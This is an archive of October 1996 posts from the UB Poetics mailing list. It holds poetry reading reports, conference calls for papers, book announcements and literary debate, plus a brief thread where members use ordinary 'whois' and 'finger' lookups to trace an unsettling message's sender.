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543. Eliza McGrand- CVA Guest

Re: scary message

Sat 26 Oct 1996

---

maria i looked through my archives (read and unread) and didn't see anything from [redacted]. WAS a "tinac" (chirot) which is sort of close but which doesn't originate at "flash.net" -- there is a command yu can do in unix/vax environment to trace net listing. you type

whois -h rs.internic.net [part of name, in this case, "flash.net"]

i'll do it and send you info back
e

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544. Eliza McGrand- CVA Guest

Re: scary message

Sat 26 Oct 1996

---

here is what i got on flash.net

Flashnet Communications (FLASH3-DOM)
  2805 W 7th St
  Fort Worth, TX 76107
  US

  Domain Name: FLASH.NET

  Administrative Contact:
    Thurburn, Lee (LT193) [redacted]
    [redacted]
  Technical Contact, Zone Contact:

FlashNet Domain Account Services (FDA-ORG) [redacted]
[redacted]
Fax: [redacted]
Billing Contact:
Leslie, Scott (SL696) [redacted]
[redacted]

Record last updated on 28-Sep-96.
Record created on 03-Oct-95.

Domain servers in listed order:

NS1.FLASH.NET 206.149.24.9
STARGAZER.FLASH.NET 206.149.24.100
NS1.AGIS.NET 205.137.48.5

---

also there is a command "finger"

finger [redacted]

if you type that in, it might give you info on that person/mail id. often, systems are closed to "finger" inquiries, though, so it is no guarantee. universities are the most likely to support finger directories. e

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545. **Jordan Davis**
Shapiro 15, Coultas 11, Godfrey 10 @ Ichor/Clementine
Sat 26 Oct 1996

David Shapiro 15, Brenda Coultas 11, John Godfrey 10
at the Ichor Reading Series at Clementine Gallery, 526 E 26th St, NYC
Friday, October 25, 8:30 p.m.

Attendance: 65

Sam Truitt's Ichor Reading Series opened its second season Friday night at the brand-new Clementine Gallery. Reading first was David Shapiro. Shapiro read the following poems:

Light Bulb, 1960
The Poem with a Footnote
Voiceless
For Mikhail Govrin
Song of the Eiffel Tower
The Lost Golf Ball
A Found Golf Ball

Bambino e Deo (?)
Old Poems
The Boss Poem (w/ Daniel Shapiro)
Black Silk (by Daniel Shapiro)
Poem that Doesn't Belong (by Daniel Shapiro)
The Snow Is Alive (w/ Daniel Shapiro)
Falling Upwards
To the Earth

It was a strong set for Shapiro, whose interpoem comments were at a pretty high level, and whose poems were as beautiful as ever. New motifs in Shapiro's work (or new manifestations of old motifs) seem to have much to do with his intense and continual invocation of the late poet Joseph Ceravolo -- the Ceravolesque influence found not just in lines like "I was scared/into/again" but in "an ordinary goose goes squawking across the parking lot" and "there is no day off for a bug in a forest". Shapiro read uncharacteristically slowly, adjusting for the so-so acoustics in the space, which is a fairly typical Chelsea gallery with tall walls and a shoebox shape. Shapiro apologized for his poems about physics (the golf ball poems), noting that he did not do well in physics in high school, and that he used to torment his teachers by asking them 'What is light?' Shapiro read in a black shirt and a black jacket.

Brenda Coultas read eleven pieces (I think) without an intermission. Coultas, author of _Early Films_ (Rodent), read the following pieces quietly:

The Rise of Sex Towards God
Dream Life and the Kiss of Transvestitism
Blue Line
Now or If You Were a Person
Preamble
Preamble
Salt God (or Salt Block?)
??
My Manifesto
Capitalist Projections
Oya

Some lines from Brenda's work: "I trusted you of catness", "It's no femur, just a vertebrae", "'I could make a great movie' 'So take off your clothes'", "I'm in America wearing a boutonniere of gigantic proportions", "I'm God's spokesmodel let me in", "There are sixteen types of hymens and I have thirteen of them", "This is a love story between fingers", "He has danced for subway tokens, meatballs and joy but he has never worn a g-string", and "All of us were

very very late". Brenda Coultas will be reading at Poetry City on December 5 with Ange Mlinko.

There was an intermission before John Godfrey began. In the audience were: Eleni Sikelianos, Laird Hunt, Anselm Berrigan, Rudy Burckhardt, Yvonne Jacquette, Simon Pettet, Steve Malmude, Drew Gardner, Anna Malmude, Bill Kushner, Barbara Henning, Carol Malmude Szamatowicz, Lisa Jarnot, Lewis Warsh, Heather Ramsdell, Garrett Kalleberg, Sean Killian, Chris Stroffolino, Bill Luoma, Marcella Harb, Prageeta Sharma, Star Black, Gregory Botts, and I think Steve Katz. Lee Ann Brown was videotaping.

John Godfrey closed the evening by reading the following poems:

Evil Tunnels
Gray Pants
Feminine Stamp
Who Walk
Kinds of Smoke
The Slightest Foam
The History of Blows
To Keep Saliva Warm
Day Goo
The Ticket

Godfrey, who is a nurse for pediatric AIDS patients, read uncharacteristcally slowly to adjust to the space. Slowed down, his prose poems revealed narratives in among the accumulated details, observations and instructions, which were pretty concise. "Do not saddle up the hound", "Flesh is so organized it takes this mess to heart and relaxes", "Pleasure ... to sacrifice the present for the present", "Teeth turning red by the light of cartoons", "All it takes is the crepuscule for me to drown in longing", "My law is, exceptions never cease", "A fabulous white rat behind every wall", "Land has no purpose but to support us to walk", "Well I am male after all", "The fundamental unit of her kind is the jiffy", "Frowzy shroud". Hearing Godfrey read slowly, I remembered how much of a help it was to my silent reading of David Shapiro to hear Shapiro perform his poems. One adjusts one's expectations for meaning. With these three readers, the adjustments were sexy, calming and clarifying.

--Jordan Davis

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546. **cris cheek**
Re: Marginalized?
Sat 26 Oct 1996

Hi here, I've been muddling my way towards this post on sensitivities for a couple of days now - (feeling it coming on from some way out).

Something difficult to disentangle happened on Friday night at a Literature Live event I was curating, had announced on this list in fact, that has some bearing on both the discussions of 'so-called experimental' and 'so-called mainstream' (i like those inflections Keith) writing practices, as well as on the lines about ecleticism in musical appreciations, especially re 'pop'. (I also enjoyed Rob Hardin and Steve Carl's rangey admonishments to listen beyond or in spite of, or wilful disregard for, category). I bore such recent discussion in mind, during the events unravelling here and in their gradual settlements into the continuities of these past days. The word 'sensitive' cuts unto almost every aspect of this post.

There were 350 young, for the most part drunk and / or pilled- up (not absolutely all), people at Colchester Arts Centre (sacked by Boudicca's Iceni and Britain's oldest, and oldest garrison, town) last Friday night for The Night of The Living Tongues.

A capacity audience was in before 10.30 and many others were locked out. (no major statement intended)

They had already experienced a nest (nay, almost a thicket) of car speakers (wired onto a sawn-off hatstand free-standing in a white marble font) whispering rhythmic wickedly mis-treated language fragments, interfacing with a video of rushes (from the Halvergate Marshes on the Broads) going in and out of focus, projected onto a giant screen forming this 'horizontal rushes' gateway into the deconsecrated church. A foyer installation intended as an exquisite interference in the entrance to a space through which a steady passage of audience (all being thoroughly searched due to a drugs bust at the same venue in the summer - once the police get their teeth into it's a little like being hounded for years by the tax department) passed. Slowed bird-song and voices, dreaming "it's a kind of memory - i car-ry with me". (installation by Sianed Jones and Martin Sercombe)

I'm seeing a tall bearded young man, in a dark overcoat, with long frizzy hair (very retro hippy with tendencies towards convoy - you know, the battered steel cap partly laced boots) dancing into and onto the open floor, staring down into the drum n bass spinning lights on the parquet, sniffing out the vibe.

Josefina Cupido played a twnety minute set, under a quiet siege of 'get-offs' from a 'party' group close by her stage. There were two stages. A lot of people present however listened respectfully and yet quietly chatted - about the space (which Orphan Drift, check their fine first novel, had spent the whole day carefully transforming), about her presence as a woman-percussionist / vocalist. Singing out:

Of my potentiality
Hay hay hay hay
Our scentences deconstruct form
Scaffolding and hair upon rocks
The words never quite leaving me

And in the ring of love
We fight with falling in love
With love being in love
With love falling in love with love
Is an addiction

(from her debut CD launched by us last night in The Vortex, north London, to a packed house - very much hometown crowd - alongside Annie Whitehead's 'Rude' w/ the incomparable Harry Beckett, the CD released on Sound & Language as 'One Woman One Drum' - orders taken - that's the only add here)

One of the DJs from Asian Dub Foundation drifted onto a drum and bass groove (jungle, pop pickers, or bungle as the Asian wags have it). Very jazzy programming. Ronnie Fraser-Monro did some laconic readings of re-written Oasis lyrics, deliberately twisted before introducing Aaron Williamson (one of the most dynamic performance poets on these islands, profoundly deaf and utterly articulated in every syllable and gesture). "Go on my son!" yelled out one Essex man as Aaron launched on:

"I don't eat meat I AM meat"
- my own carcass
"you mean sarcophagus"
... contracting,
colliding ...
"and the division between flesh
and celestial"
we term 'thinking'
is confessed down
intentions
in fact run down
or thisappeared
in inking

(from Cathedral Lung) - his mike stand toppling onto a young woman perched almost at his feet, she's yelling "come outside now you, let's sort this out!" - of course he's deaf and is close to lost in his performance (another guy stood right next to him and spoke directly to him before wandering off bemused as Aaron continued regardless). This was an extraordinarily engaging scene all in all. A carnival of sensitivities. Some people were genuinely shocked or downright disturbed by Aaron's intensity, others ravished by his compassionate engagement with the dark ironic humour that he rings from his hearing impairment. But nothing 'heroic' was going on other than him working to keep his work out there, alive in a brutalising world of near indifference.

The edgiest context for 'poetics' that I can remember having experienced for a long time.

During the transitions from Aaron (leaving the stage drenched in sweat and exhausted) into the first part of a blistering live set from Asian Dub Foundation, a wave of awkwardness resolved itself into joyful dancing engagements throughout the crowd as what the here ? erupted into a sonic architecture of my own three stooges, namely melody, rhythm and noise. That passage of time was, for me, poetry. The sensitivities it examined offered both dystopian and utopian visions of accessibility.

ADF were pursued by Ronnie, doing a scurrilous impression of the hunching, aged Dame Barbara Tartland reading selections from her own work against odd disco muzak. I had to break up a fight at the bar, a punter tried to nut Martin Sercombe, the police were called to prevent a late-comer (already bleeding at the mouth from bashing nimself against the doors) from assaulting those who began to leave about 1am.

One further aspect is worth mentioning, that being Orpan Drift's performance being spoilt by a tech nerd (sound familiar?). Said nerd in question refused to work with what them because they were using an 'unprofessional' piece of equipment. By the time we could deal with him the moment had passed and a baying crowd needed appeasement for their rushing energies.

Be curious to hear stories of performances (readings even) becoming victim to techno nightmares in this space.

love and love
cris

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547. **maria damon**
Re: scary message
Sat 26 Oct 1996

---

i think the sender was [redacted], or something like that. i was wondering if it was our friend filch, but someone told me it was a 94K msg, so who knows. md

In message <[redacted]> UB Poetics discussion group
writes:
> maria
> i looked through my archives (read and unread) and didn't see anything
> from [redacted]. WAS a "tinac" (chirot) which is sort of close
> but which doesn't originate at "flash.net" -- there is a command yu
> can do in unix/vax environment to trace net listing. you type
>
> whois -h rs.internic.net [part of name, in this case, "flash.net"]
>
> i'll do it and send you info back
> e

↑ Index

548. **maria damon**
Re: scary message
Sat 26 Oct 1996

---

oops, i meant that backchannel, sorry to anyone i have offended.--md

In message <[redacted]> UB Poetics discussion group
writes:
> i think the sender was [redacted], or something like that. i was
> wondering
> if it was our friend filch, but someone told me it was a 94K msg, so who
> knows.
> md
>
> In message <[redacted]> UB Poetics discussion
> > group
> writes:
> > maria
> > i looked through my archives (read and unread) and didn't see anything
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> > can do in unix/vax environment to trace net listing. you type
> >

> > whois -h rs.internic.net [part of name, in this case, "flash.net"]
> >
> > i'll do it and send you info back
> > e

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549. **Christina Fairbank Chirot**
Re: Kathy Change
Sat 26 Oct 1996

A friend years ago told me, "there's the spontaneous suicide--and the suicide who studies up for it".

An example of the latter may be found in Mayakovsky's How Are Verses Made--in Mayakovsky's extended commentary on a poem by and the suicide of Esenin.

Mayakovsky preparing for his own suicide in the refutation of another poet's . . .

--dave baptiste chirot

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550. **Rick Bursky**
"help"
Sat 26 Oct 1996

---

does anyone know how i can get off this bulletin board

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551. **Jennifer-Alan**
Re: "help"
Sat 26 Oct 1996

Take out the pin.

On Sat, 26 Oct 1996, Rick Bursky wrote:

> *does anyone know how i can get off this bulletin board*

_____
http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

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552. **Carnography**

There was a reading in Providence? What about Brown?

Sat 26 Oct 1996

So Henry:

If Providence has become such a poetic hotbedlambadactylic zone, then what's your take on Brown U's literary activities? I participated in the Unspeakable Practices Festival in 92 and was very pleased with Robert Coover, Eurydice et al. Coover actually taught my essay, Definitions for the Dungeon, as well as my short story, When Sleep Comes Down, to his graduate class--and this was when my writing was *completely* unknown. He also brought Samuel Delaney there--a neglected great writer, in my opinion. C. visited our guest rooms in the morning. He and Eurydice actually threw a party in my bedroom, which was thoughtful (or amusingly thoughtless), to say the least. I was also glad that Coover cared so much about creating a place where peers could meet and interact--an opportunity, Coover remarked, that he himself never had.

When I heard they were going to the UP Festival this year, I told my friends--known writers who shall remain nameless--that they'd have a blast. Apparently, I was as wrong as the Belgian accountant who insisted he could subsist on his own urine. (He died after less than a week.)

This year, my NYC mates went to Brown and came back disgusted with the event and with the new writing faculty (whoever they are: don't know them). I was shocked to hear about this--particularly since Hawkes was the Dean of Lit before Coover, and both Hawkes and Coover are brilliant stylists and excellent teachers. There was talk of a wretched instructor: I'm told she railed at anyone who had ever been published in the New Yorker (as if an academic position is somehow less status quo than a magazine gig) and generally made everyone feel unlistened to and unwelcome.

Does anyone know anything about this? How could one of the most interesting and progressive writing programs in the country have purportedly gone sour so rapidly? Or did the place really change that much at all? The instructor my friends are dissing was doubtless chosen by Coover--could she really be so bad?

I liked Coover's writing and enthusiasm a lot. I liked the climate he created at Brown as well. I have good friends who come from that version of Brown. I like lots of things about their lib arts background, including their politics.

Are my NYC writer-friends mistaken? Tell me this isn't true.

All the best,

Rob Hardin

"a deposit of air, make it stop retching
its bloodless deposit on my last seconds of recollection"

http://www.interport.net/~scrypt

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553. **Alan Jen Sondheim**
lulled bye (fwd)
Sun 27 Oct 1996

---

lulled bye

now i lay my head to rest to get out
i think upon the perfect breast to get out of this life
i have not seen nor found nor kept get out of this life
what might have seemed unsound; i wept get out
foundation, i wept disease, to please
recriminations; release me please please
to get out of this life o please
without substance, head, or strife to get out
which is why i lay a head to rest to get out of this life
to drink the perfect liquid get out of this life
and from the perfect breast get out
urinary basin

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554. **Ward Tietz**
Alire: French Review of Electronic Writing
Sun 27 Oct 1996

Sorry for cross-posting.

I picked up a few copies of the French electronic literature journal ALIRE in Geneva yesterday that I thought might be of interest to list. Each edition includes work in both PC and Mac format.

ALIRE no 7 (April 1994) includes work by Philippe Bootz, Jean-Marie Dutey, Disztichon Alfa and Philippe Castellin.

ALIRE no 8 (November 1994) includes work by Patrick Burgaud, Jean-Marie Lafaille, Pedro Barbosa, Albilio Cavalheiro, Jacques Donguy, Guillaume Loizillon, Jean-Pierre Balpe and Eduardo Kac.

ALIRE no 9 (June 1995) includes work by Jean-Marie Dutey, Phillipe Bootz, Claude Maillard and Tibor Papp.

Their address is: Mots-Voir
27, allee des Coquelicots
F-59650 Villeneuve d'Ascq
France

They also published essays in French and English in 1994 from the colloquium "A:\LITERATURE; colloque Nord Poesie et Ordinateur" held at the Universite de Lille 3.

Ward Tietz

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555. **Douglas Barbour**

Re: POETICS Digest - 23 Oct 1996 to 24 Oct 1996

Sun 27 Oct 1996

Re: david kellogg's & michael coffey's discussion of heaney (gosh: what just giving the title of a poem can generate): I'm glad to see it, & the rest. I have not seen that booklet, & believe the library here doesnt have it. can you give us publication data?

I tend to agree that, like content (as bpNichol used to say), it's there, some unavoidable aspect of 'speaking,' or 'using language.' So it's what seems to come through as present that becomes interesting. I think I would agree with coffey that 'being political' is not heaney's forte, but I suspect a lot of his readers appreciate precisely that aspect of his work. I am intrigued about the 'whole series of agonized letters in the IRISH TIMES defending Heaney.' That seems to speak, at least, to a readership, & an engaged one, even if the terms of the engagement may not be those that tend to be agreed upon in this list. A queer theorist & medievalist in our department told me at a reading yesterday that he is a great heaney fan, although he allowed that it's partly because his supervisor was one & introduced him to the poet & the poetry (he added that he thinks heaney is just a terrific performer). I mention this only to add that I dont know exactly what it points to, This is a man who directs 'perverse' productions of medieval drama, presents himself, in a province whose government remains stolidly homophobic, as 'queer,' & whose general interest in contemporary writing would tend to be in gay/lesbian/queer writing. What does _his_ love of heaney mean? I dont know; but does anyone have any ideas? I must add that I would rather read Muldoon, but even more, Boland, & if given the further choice of just what I want, would be into North American writers, including a lot of Canadians many here wont know (& I tend to read fairly widely there, which is perhaps another thread: how, in smaller countries with more recent literatures like Canada, Australia, New Zealand, the absolute conflict between various kinds of poetics doesnt happen quite so obviously, & cross-overs work).

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

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556. **David Kellogg**
Re: [redacted]
Sun 27 Oct 1996

Thanks for the updates, Maria and Loss. I will check out yr web page.

Speaking of MLA, I will be chairing/moderating a panel I put together on the later work of the Irish poet Thomas Kinsella. I think the papers will be pretty good, and Kinsella doesn't get much attention, tho he's the older Irish poet who has learned the most from modernism. Inexplicably, the panel is in a huge room. So come on down; there's room for everybody.

Cheers,
David
~~~
~~~

557. **Douglas Barbour**

Re: POETICS Digest - 25 Oct 1996 to 26 Oct 1996

Sun 27 Oct 1996

About performance(s):

Way out here we dont get all that much (although there will be what's shaping up to be a fascinating conference on words and images, EyeRhymes, next June), so I was thinking about some of the remarks on poetries & performances when I went to hear Oliver Lake's 'The Matador of 1st and 1st' at the local jazz club last night.

Lake describes the 70 minute performance as 'a poetic monologue, incorporating jazz, rap, improvised live and prerecorded musical accents' & as 'a piece of performance art.' Well, it is all of that, but how 'hear' a lot of what he said, chanted, sang, as poetry? The 'rap' piece was funny, at least semi-satirizing of commercial rap, also very pointedly an attack on consumerism (there were others). Lake continually changed costumes, as he took on different personae. The title piece was in heavily metric rhyming verse. Other parts were more straight spoken riffs, there were also moments of high lyric intensity, chants of fairly straightforward calls to love, be equal, etc. At one point he talked about all the different kinds of music, how certain players were all good, & insisted, 'labels separate.' Kept coming back to what he seemed to be 'arguing' was a false opposition between oral/literary. Had a funny rap on 'organic lady', light, funny, but not making fun (a delicate balance that). A lot of what he was presenting was meant, I think, to be heard as poetry, & it was essentially traditionally lyric, but with intereting narrative breaks (out). In between all of these he played, alto, soprano, flute. Ranging from the furthest out howls & hoots to the deepest in melodies of claritas. Toward the end, mentioning some soft r & b of the 70s, he then did choose jazz in a way: thank god for duke ellington music was is/his (our) mistress or at least that was how I heard it.

The audience, most of whom I'd bet dont read poetry, loved it, loved him. Laughed in the right places, applauded both phrases that caught their attention & solos that tore the place up.

So: what was it? I cant say but can say that if Oliver Lake brings this solo piece to your neighbourhood, I highly recommend it, as such.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta

Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

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558. **Kathleen Crown**
more info on Poetry & the Public Sphere
Sun 27 Oct 1996

Hello everyone-- Here is the most up-to-date Call for Papers for "Poetry and the Public Sphere," w/ details about registration, lodging, and other things. The website, which should be up sometime this week, will be updated as we confirm additional participants and events. Please note that the deadline for paper proposals has been extended to December 1st. --Kathy Crown

CALL FOR PAPERS

Please post hardcopies in addition to posting and forwarding electronically to interested parties.

The Department of English at Rutgers University, New Brunswick
announces POETRY AND THE PUBLIC SPHERE: A CONFERENCE
ON CONTEMPORARY POETRY, APRIL 24-27, 1997

Scheduled to participate: ADRIENNE RICH, ROBERT HASS, SONIA
SANCHEZ, MIGUEL ALGARIN, POETS FROM THE NUYORICAN
POETS' CAFE, CHARLES BERNSTEIN, TRICIA ROSE, CHARLES
ALTIERI, MARIA DAMON, ALICIA OSTRIKER, CHERYL
CLARKE, CORA KAPLAN, RACHEL HADAS, MICHAEL MCKEON,
ELIN DIAMOND, ABENA BUSIA, SUSAN STANFORD FRIEDMAN
and many others.

This interdisciplinary conference is open to the public and aims to provide new understandings of poetry's participation in the public sphere. The last two decades have witnessed a resurgence of interest in public poetry--readings, festivals, performances, films, television series, and poetry slams. In examining the way poetry affects and is affected by social context, we will consider a range of contemporary poetries in their public settings, including performance-oriented, community-based, socially engaged, and formally experimental work. Questions of audience and aesthetics will be central to our discussion of poetry's active role in building, defining, questioning, and motivating social and political communities. Designed to bring a broad range of people from inside

and outside the academy into conversation, the conference will feature round-table discussions, poetry readings and performances, keynote lectures, and panel presentations by a wide range of poets, scholars, and activists.

We welcome submissions from anyone with an interest in poetry. We are currently accepting:

1. Detailed two-page proposals for 15-minute papers, not limited to the topics listed here. (Feel free to suggest panel topics; however, we are not accepting group panel proposals.)

2. Detailed proposals for roundtable discussions (no more than four people), to consist of five-minute remarks and a moderated discussion. You may provide participant names and brief profiles of chair and three to four panelists, plus a two-page proposal describing the topic, approach, and intended contribution of each discussant. You may propose an entire roundtable or may outline your contribution and suggest roundtables for which it might be relevant.

Here are some possible topics for discussion:

poetry and social movements poetics of performance poetry
politics of form poetry and public sphere theory
poetry as witness poetry and community activism
African American poetry poetry slams
poetry and popular culture global poetry
Latino/a poetry poetry and identity politics
poetry and/as history ethnography of poetry
Native American poetry gay/ lesbian poetry
spoken-word events feminist poetry
poetry and AIDS rap-meets-poetry
politics of publishing Asian American poetry
contemporary poetry cultures

SEND PROPOSALS BY DECEMBER 1 (previous deadline has been extended) TO HARRIET DAVIDSON, ASSOCIATE PROFESSOR ENGLISH AND DIRECTOR OF WOMEN'S STUDIES, P.O. Box 5054, RUTGERS UNIVERSITY, NEW BRUNSWICK, NJ 08903-5054. More information is available at our website (http://www.english.rutgers.edu); information about a pre-conference discussion forum online will also be available at that address. Email inquiries to Kathy Crown ([redacted]) or Nick Yasinski ([redacted]); no proposals via email. Thank you.

ACCEPTANCE NOTIFICATION

If a paper or panel discussion is accepted for presentation at the conference, the person submitting will be notified in February or earlier.

MAILING LIST

If you would like to be on our mailing list, please send an email message to Kathy Crown ([redacted]) or Nick Yasinski ([redacted]), or write Harriet Davidson at the address above. Indicate whether you have a place to put a conference poster or need only a registration form (saving us a little money). Registration forms will be sent by snail mail early next year, so please include your snail address as well as your email address.

LOCATION

The conference will take place on the campus of Rutgers University in New Brunswick, NJ, which is an easy 50-minute train or car ride from New York City (1 1/2 hr from Philadelphia by car, 2 hr by local trains; 25-min by car from Newark Int'l Airport; 30-min by train or car from Princeton).

SCHEDULE OF EVENTS (to be confirmed in early 1997)

The conference will begin mid-afternoon on Thursday, April 24 with some of its most exciting and importance featured events, including panels and roundtables with important poets and scholars, as well as an evening reading by nationally known poets from the Nuyorican Poets Cafe, organized by Miguel Algarin (names available soon, upon final agreement). We strongly encourage people to come for the Thursday afternoon and evening events. Friday and Saturday, April 25 & 26, will include a variety of panels, roundtables, mid-day readings, and evening readings by Adrienne Rich (and others) on Friday and Robert Hass and probably Sonia Sanchez (and others) on Saturday. The conference will conclude on Sunday, April 27, with panels and a featured roundtable and discussion summing up the conference, ending by early afternoon.

REGISTRATION

The conference is open to the public. However, people should be advised that we may be obliged to give priority seating at some events such as the featured evening readings to people who have registered. Registration fees have yet to be set but will probably rely on a sliding scale. Registration announcements/forms will go out in early Spring, 1997. Anyone submitting a proposal for the conference will automatically be sent a registration form (accepted proposals do not exempt one from registration fees). Anyone who does not submit a proposal can be sure to receive a registration form by writing to Harriet Davidson, Associate Professor of English and Director of Women's Studies, P.O. Box 5054, Rutgers University, New Brunswick, NJ 08903-5054, or by sending an email request for a registration form to Kathy Crown ([redacted]) or Nick Yasinski ([redacted]). Include your snail address; forms will be sent out early next year.

ACCOMMODATIONS

A special rate of $59/night for conference-goers has been arranged for a limited number of rooms at the very nice, full-service Holiday Inn in nearby Somerset (a 12-min car ride from Rutgers) near Rte 287. Please call [redacted] and make sure to mention the conference name and Rutgers. We are hoping to arrange at least one reception at the Holiday Inn, as well as daily shuttles to and from the conference; for these reasons, we encourage anyone staying overnight to use the Holiday Inn if possible. The only hotel within walking distance of the conference is the Hyatt Hotel [redacted] in downtown New Brunswick; it is significantly more expensive than the Holiday Inn. The Holiday Inn deal provides nicer accommodations (and most likely at a lower cost) than the "moderately priced" options below; the "more expensive" options are sometimes double the Holiday Inn price and usually do not have much more to recommend them. Options include the Quality Inn ([redacted]) in Somerset, 10 min away, moderately priced; the Ramada Inn ([redacted]) in East Brunswick near NJ Turnpike Exit 9, 8 min from Rutgers, moderately priced; the Marriot Hotel ([redacted]) in Somerset, 12 min away, more expensive (within walking distance of the Holiday Inn); the Windham Gardens ([redacted]) in Piscataway, 8 min away, more expensive; the Hilton ([redacted]) in East Brunswick near NJ Turnpike Exit 9, 8 min from Rutgers, much more expensive (JFK airport shuttle stop).

ACKNOWLEDGMENTS This conference is generously supported by the Rutgers Student Centers and Student Activities, Rutgers College Programming Council, Office of the Dean of Students at Rutgers College, Office of the Dean at Douglass College, Douglass Activities Board, Douglass College Center, Rutgers Department of English, New Jersey Council for the Humanities, Writers at Rutgers, Paul Robeson Cultural Center, Center for Latino Art and Culture, Women's Studies, Latin American Studies, Institute for Research on Women, and the Office of Diverse Community Affairs.

END

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559. **Julie Marie Schmid**
Re: [redacted]
Sun 27 Oct 1996

There will be a panel on public poetries--slams, cafe poetry, inaugaral poetry--on Sunday at noon. It's chaired by Susan Gilmore from Ithaca College and should be a lot of fun.

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560. **Pam Brown**
Re: Mountain Goats
Sun 27 Oct 1996

Hello Poetics List -
Can anyone tell me the name of the independent label that records these "Mountain Goats" - so I can get their cd's imported to Australia....
Thanks
Pam Brown

[redacted]
http://postbox.library.usyd.edu.au/~pbrown/

At 06:39 PM 24/10/96 -0700, you wrote:
>At 12:01 AM 10/23/96 -0400, Keith Tuma wrote:
>
>>Hey all you listers out there with detailed and arcane knowledges of musics
>>pop and otherwise, what can you tell me about The Mountain Goats?
>
>I had an article on John Darnielle (who pretty much IS The Mountain Goats)
>from a recent s.f. free alternative weekly lying around somewhere, but I
>must have already mailed it to someone, 'cause I can't find it. And
>unfortunately I have no memory of much that it said about him.
>
>When I saw him play an in-store show at the new location of Aquarius Records
>recently, his throat was sort of scratchy but it didn't detract from his
>charm. He definitely IS literary (he introduced one song by saying, "This
>next one wins the award for Most Pretentious Song Title of the Year: it's
>called "Song for the Julian Calendar") but his singing and playing are, to
>me anyway, dead earnest which (again, to me) blows any possible pretention
>out of consideration. He was accompanied on a few songs by Australian
>violinist (also guitarist) Alistair Galbraith. Their collaborations were
>ragged but delicate and haunting.
>
>Oh, I did remember one Darnielle quote. Because his albums are recorded on
>four-track machines and such, he's often labelled as part of the
>"lo-fi"movement, and the implied reduction of music to its recording medium
>irritates him, because after all, he says, "you wouldn't ask a writer if
>he's part of a 20-pound bond movement."
>
>{{{

>}http://writing.upenn.edu/epc/mags/antenym{
>{http://writing.upenn.edu/epc/ezines/antenym}
>}}}

563. George Bowering
Re: Kathy Change
Sun 27 Oct 1996

> *"The perfect type of the man of action is the suicide."*
>
> *--WCW, "The Descent of Winter"*
>
> *This seems to me the perfect type of the pretentious, brahminical, superficial formulation of the "writer trying to be clever".*
> *- Henry Gould*

Well, Henry, I guess you and i will have to disagree on whether Williams had Hemingway pegged....

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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564. Steve Evans
New Publication
Sun 27 Oct 1996

New from Tender Buttons Books:

Imagination Verses by Jennifer Moxley

An offset & smyth-sewn paperback of 90pp+ for $8.95
With a Preface by the Author, ISBN 0-927920-07-7

This, my first full length publication, is a collection of lyrics written over the past five years or so. Some of the work included has appeared in such venues as Object, The Baffler, The Exact Change Yearbook#1, Dark Ages Clasp the Daisy Root and my own magazine, The Impercipient.

If you would like a copy, they are available from Small Press Distribution (1814 San Pablo Avenue, Berkeley,CA 94702 USA [redacted]) or you can e-mail me at the above address (not Poetics) or write me at 61 East Manning St. Providence RI 02906-4008.

Still available on the Tender Buttons Backlist:

Harryette Mullen's Trimmings
Anne Waldman's Not a Male Pseudonym
Hannah Weiner's silent teacher remembered sequel

(all available at SPD)

Thanks!

Jennifer Moxley

---

r i a t n m u a t s u o o o s

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565. **Aldon L. Nielsen**
Re: Jump Up
Mon 28 Oct 1996

As one of the very few owners of a copy of Oliver Lake's book of poetry, I've always thought he was a great saxophone player and composer --

but that performance piece sounds delicious -- was anything said about a recording becoming available???

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566. **Kathleen Crown**
Re: [redacted]
Mon 28 Oct 1996

I'm glad to hear about all the MLA panels on electronic & public poetry. There will be another panel, Monday at noon, on History, Ecstasy, and Lyric Subjectivity---how ecstasy interferes w/ lyric ego, to rephrase Olson-- with papers on Hannah Weiner (Maria Damon's), Charles Olson, H.D., Bishop. --Kathy Crown --

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567. **Kathleen Crown**
Re: CALL FOR PAPERS
Mon 28 Oct 1996

Maria, Thanks for the announcement of your Cross-Cultural Poetics conference in Minneapolis next October, which sounds like a much-needed conversation and also lots of fun--I will plan to be there. Nice to see a conference about "poetics" that actually includes poets and talk about poetry... --Kathy --

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568. **henry**
Re: Kathy Change
Mon 28 Oct 1996

On Sun, 27 Oct 1996 19:29:40 -0700 George Bowering said:
>>>
>>>"The perfect type of the man of action is the suicide."
>>>
>>> --WCW, "The Descent of Winter"
>>
>>This seems to me the perfect type of the pretentious, brahminical,
>>superficial formulation of the "writer trying to be clever".
>>- Henry Gould
>
>Well, Henry, I guess you and i will have to disagree on whether Williams
>had Hemingway pegged....
>
Touche, George. Your context is sabre-sharp this morning. - HG

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569. **Jeff Hansen**
politics & poetry
Mon 28 Oct 1996

I hope this isn't a dead horse, and I'm sure that threads of this sort have appeared before. But I feel like spouting. If you don't feel like reading this, then please delete it.

I've been reading through Talisman 15, at the end of which is an exchange between Perloff and Warsh on Oppen, politics, et. al. In addition, Leonard Schwartz rehashes, in a gentle manner, Eliot Weinberger's claim that Language poets are Reagen-era capitalist dupes because they unhinge words from history, just as Reagan did.

Perloff makes such statements as "The personal is the political." Warsh agrees with both Perloff and Schwartz that poetry and politics are somehow linked.

I assert:

1) POETRY IS NOT POLITICAL IN THE CURRENT U.S. CONTEXT -- Let's take our heads out of the sand. Any non-poetry reader with any intelligence who read the above exchanges would be amused and horrified at how out of touch we are. Bowling has more political impact than poetry.

I know some on the list will claim that everything has a political dimension. True enough. But having a political dimension is not the same as having a RELEVANT political dimension. I define "relevant" as the ability to alter public policy. Poetry cannot do this in the current climate because, except for the NEW CRITERION crowd, we are all part of the same voting block. All of our differences are mute from a political perspective

Those who argue that the personal are the poltical are deluded. While this was a liberating slogan in about 1970, it has dated about as well as Nehru jackets. My decision to sit in my basement office --which I built myself, no political relevancy -- write a poem, edit it, send it to out and get it published is personal. It's not in the least political. It has no impact on how we as a nation or how my local community chooses to organize itself in terms of the production and allocation of wealth and in terms of how we protect personal liberty. Wake up.

